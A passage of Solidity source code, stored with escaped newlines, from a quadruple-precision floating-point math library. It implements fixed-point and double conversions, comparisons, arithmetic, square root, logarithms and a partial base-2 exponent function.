Convert signed 128.128 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 128.128 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from128x128(int256 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint256(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16255 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 128.128 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 128.128 bit fixed point number\\n */\\n function to128x128(bytes16 x) internal pure returns (int256) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16510); // Overflow\\n if (exponent < 16255) return 0; // Underflow\\n\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16367) result >>= 16367 - exponent;\\n else if (exponent > 16367) result <<= exponent - 16367;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(\\n result <=\\n 0x8000000000000000000000000000000000000000000000000000000000000000\\n );\\n return -int256(result); // We rely on overflow behavior here\\n } else {\\n require(\\n result <=\\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n );\\n return int256(result);\\n }\\n }\\n }\\n\\n /**\\n * Convert signed 64.64 bit fixed point number into quadruple precision\\n * number.\\n *\\n * @param x signed 64.64 bit fixed point number\\n * @return quadruple precision number\\n */\\n function from64x64(int128 x) internal pure returns (bytes16) {\\n unchecked {\\n if (x == 0) return bytes16(0);\\n else {\\n // We rely on overflow behavior here\\n uint256 result = uint128(x > 0 ? x : -x);\\n\\n uint256 msb = mostSignificantBit(result);\\n if (msb < 112) result <<= 112 - msb;\\n else if (msb > 112) result >>= msb - 112;\\n\\n result =\\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n ((16319 + msb) << 112);\\n if (x < 0) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into signed 64.64 bit fixed point\\n * number. Revert on overflow.\\n *\\n * @param x quadruple precision number\\n * @return signed 64.64 bit fixed point number\\n */\\n function to64x64(bytes16 x) internal pure returns (int128) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n require(exponent <= 16446); // Overflow\\n if (exponent < 16319) return 0; // Underflow\\n\\n uint256 result = (uint256(uint128(x)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\\n 0x10000000000000000000000000000;\\n\\n if (exponent < 16431) result >>= 16431 - exponent;\\n else if (exponent > 16431) result <<= exponent - 16431;\\n\\n if (uint128(x) >= 0x80000000000000000000000000000000) {\\n // Negative\\n require(result <= 0x80000000000000000000000000000000);\\n return -int128(int256(result)); // We rely on overflow behavior here\\n } else {\\n require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\\n return int128(int256(result));\\n }\\n }\\n }\\n\\n /**\\n * Convert octuple precision number into quadruple precision number.\\n *\\n * @param x octuple precision number\\n * @return quadruple precision number\\n */\\n function fromOctuple(bytes32 x) internal pure returns (bytes16) {\\n unchecked {\\n bool negative = x &\\n 0x8000000000000000000000000000000000000000000000000000000000000000 >\\n 0;\\n\\n uint256 exponent = (uint256(x) >> 236) & 0x7FFFF;\\n uint256 significand = uint256(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFFF) {\\n if (significand > 0) return NaN;\\n else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n }\\n\\n if (exponent > 278526)\\n return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else if (exponent < 245649)\\n return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO;\\n else if (exponent < 245761) {\\n significand =\\n (significand |\\n 0x100000000000000000000000000000000000000000000000000000000000) >>\\n (245885 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 124;\\n exponent -= 245760;\\n }\\n\\n uint128 result = uint128(significand | (exponent << 112));\\n if (negative) result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(result);\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into octuple precision number.\\n *\\n * @param x quadruple precision number\\n * @return octuple precision number\\n */\\n function toOctuple(bytes16 x) internal pure returns (bytes32) {\\n unchecked {\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n\\n uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF)\\n exponent = 0x7FFFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (236 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 245649 + msb;\\n }\\n } else {\\n result <<= 124;\\n exponent += 245760;\\n }\\n\\n result |= exponent << 236;\\n if (uint128(x) >= 0x80000000000000000000000000000000)\\n result |= 0x8000000000000000000000000000000000000000000000000000000000000000;\\n\\n return bytes32(result);\\n }\\n }\\n\\n /**\\n * Convert double precision number into quadruple precision number.\\n *\\n * @param x double precision number\\n * @return quadruple precision number\\n */\\n function fromDouble(bytes8 x) internal pure returns (bytes16) {\\n unchecked {\\n uint256 exponent = (uint64(x) >> 52) & 0x7FF;\\n\\n uint256 result = uint64(x) & 0xFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FF)\\n exponent = 0x7FFF; // Infinity or NaN\\n else if (exponent == 0) {\\n if (result > 0) {\\n uint256 msb = mostSignificantBit(result);\\n result =\\n (result << (112 - msb)) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n exponent = 15309 + msb;\\n }\\n } else {\\n result <<= 60;\\n exponent += 15360;\\n }\\n\\n result |= exponent << 112;\\n if (x & 0x8000000000000000 > 0)\\n result |= 0x80000000000000000000000000000000;\\n\\n return bytes16(uint128(result));\\n }\\n }\\n\\n /**\\n * Convert quadruple precision number into double precision number.\\n *\\n * @param x quadruple precision number\\n * @return double precision number\\n */\\n function toDouble(bytes16 x) internal pure returns (bytes8) {\\n unchecked {\\n bool negative = uint128(x) >= 0x80000000000000000000000000000000;\\n\\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (exponent == 0x7FFF) {\\n if (significand > 0) return 0x7FF8000000000000;\\n // NaN\\n else\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000); // Infinity\\n }\\n\\n if (exponent > 17406)\\n return\\n negative\\n ? bytes8(0xFFF0000000000000) // -Infinity\\n : bytes8(0x7FF0000000000000);\\n // Infinity\\n else if (exponent < 15309)\\n return\\n negative\\n ? bytes8(0x8000000000000000) // -0\\n : bytes8(0x0000000000000000);\\n // 0\\n else if (exponent < 15361) {\\n significand =\\n (significand | 0x10000000000000000000000000000) >>\\n (15421 - exponent);\\n exponent = 0;\\n } else {\\n significand >>= 60;\\n exponent -= 15360;\\n }\\n\\n uint64 result = uint64(significand | (exponent << 52));\\n if (negative) result |= 0x8000000000000000;\\n\\n return bytes8(result);\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is NaN.\\n *\\n * @param x quadruple precision number\\n * @return true if x is NaN, false otherwise\\n */\\n function isNaN(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF >\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Test whether given quadruple precision number is positive or negative\\n * infinity.\\n *\\n * @param x quadruple precision number\\n * @return true if x is positive or negative infinity, false otherwise\\n */\\n function isInfinity(bytes16 x) internal pure returns (bool) {\\n unchecked {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ==\\n 0x7FFF0000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x\\n * is positive. Note that sign (-0) is zero. Revert if x is NaN.\\n *\\n * @param x quadruple precision number\\n * @return sign of x\\n */\\n function sign(bytes16 x) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n if (absoluteX == 0) return 0;\\n else if (uint128(x) >= 0x80000000000000000000000000000000)\\n return -1;\\n else return 1;\\n }\\n }\\n\\n /**\\n * Calculate sign (x - y). Revert if either argument is NaN, or both\\n * arguments are infinities of the same sign.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return sign (x - y)\\n */\\n function cmp(bytes16 x, bytes16 y) internal pure returns (int8) {\\n unchecked {\\n uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN\\n\\n // Not infinities of the same sign\\n require(x != y || absoluteX < 0x7FFF0000000000000000000000000000);\\n\\n if (x == y) return 0;\\n else {\\n bool negativeX = uint128(x) >=\\n 0x80000000000000000000000000000000;\\n bool negativeY = uint128(y) >=\\n 0x80000000000000000000000000000000;\\n\\n if (negativeX) {\\n if (negativeY) return absoluteX > absoluteY ? -1 : int8(1);\\n else return -1;\\n } else {\\n if (negativeY) return 1;\\n else return absoluteX > absoluteY ? int8(1) : -1;\\n }\\n }\\n }\\n }\\n\\n /**\\n * Test whether x equals y. NaN, infinity, and -infinity are not equal to\\n * anything.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return true if x equals to y, false otherwise\\n */\\n function eq(bytes16 x, bytes16 y) internal pure returns (bool) {\\n unchecked {\\n if (x == y) {\\n return\\n uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF <\\n 0x7FFF0000000000000000000000000000;\\n } else return false;\\n }\\n }\\n\\n /**\\n * Calculate x + y. Special values behave in the following way:\\n *\\n * NaN + x = NaN for any x.\\n * Infinity + x = Infinity for any finite x.\\n * -Infinity + x = -Infinity for any finite x.\\n * Infinity + Infinity = Infinity.\\n * -Infinity + -Infinity = -Infinity.\\n * Infinity + -Infinity = -Infinity + Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function add(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y) return x;\\n else return NaN;\\n } else return x;\\n } else if (yExponent == 0x7FFF) return y;\\n else {\\n bool xSign = uint128(x) >= 0x80000000000000000000000000000000;\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n bool ySign = uint128(y) >= 0x80000000000000000000000000000000;\\n uint256 ySignifier = uint128(y) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0)\\n return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y;\\n else if (ySignifier == 0)\\n return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x;\\n else {\\n int256 delta = int256(xExponent) - int256(yExponent);\\n\\n if (xSign == ySign) {\\n if (delta > 112) return x;\\n else if (delta > 0) ySignifier >>= uint256(delta);\\n else if (delta < -112) return y;\\n else if (delta < 0) {\\n xSignifier >>= uint256(-delta);\\n xExponent = yExponent;\\n }\\n\\n xSignifier += ySignifier;\\n\\n if (xSignifier >= 0x20000000000000000000000000000) {\\n xSignifier >>= 1;\\n xExponent += 1;\\n }\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else {\\n if (xSignifier < 0x10000000000000000000000000000)\\n xExponent = 0;\\n else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n } else {\\n if (delta > 0) {\\n xSignifier <<= 1;\\n xExponent -= 1;\\n } else if (delta < 0) {\\n ySignifier <<= 1;\\n xExponent = yExponent - 1;\\n }\\n\\n if (delta > 112) ySignifier = 1;\\n else if (delta > 1)\\n ySignifier =\\n ((ySignifier - 1) >> uint256(delta - 1)) +\\n 1;\\n else if (delta < -112) xSignifier = 1;\\n else if (delta < -1)\\n xSignifier =\\n ((xSignifier - 1) >> uint256(-delta - 1)) +\\n 1;\\n\\n if (xSignifier >= ySignifier) xSignifier -= ySignifier;\\n else {\\n xSignifier = ySignifier - xSignifier;\\n xSign = ySign;\\n }\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n uint256 msb = mostSignificantBit(xSignifier);\\n\\n if (msb == 113) {\\n xSignifier =\\n (xSignifier >> 1) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent += 1;\\n } else if (msb < 112) {\\n uint256 shift = 112 - msb;\\n if (xExponent > shift) {\\n xSignifier =\\n (xSignifier << shift) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n xExponent -= shift;\\n } else {\\n xSignifier <<= xExponent - 1;\\n xExponent = 0;\\n }\\n } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF)\\n return\\n xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY;\\n else\\n return\\n bytes16(\\n uint128(\\n (\\n xSign\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate x - y. Special values behave in the following way:\\n *\\n * NaN - x = NaN for any x.\\n * Infinity - x = Infinity for any finite x.\\n * -Infinity - x = -Infinity for any finite x.\\n * Infinity - -Infinity = Infinity.\\n * -Infinity - Infinity = -Infinity.\\n * Infinity - Infinity = -Infinity - -Infinity = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n return add(x, y ^ 0x80000000000000000000000000000000);\\n }\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier = uint128(y) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb = xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier = uint128(y) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb = xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return x ^ 0x80000000000000000000000000000000;\\n }\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n }\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier = uint128(x) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift = 112 -\\n mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);\\n }\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 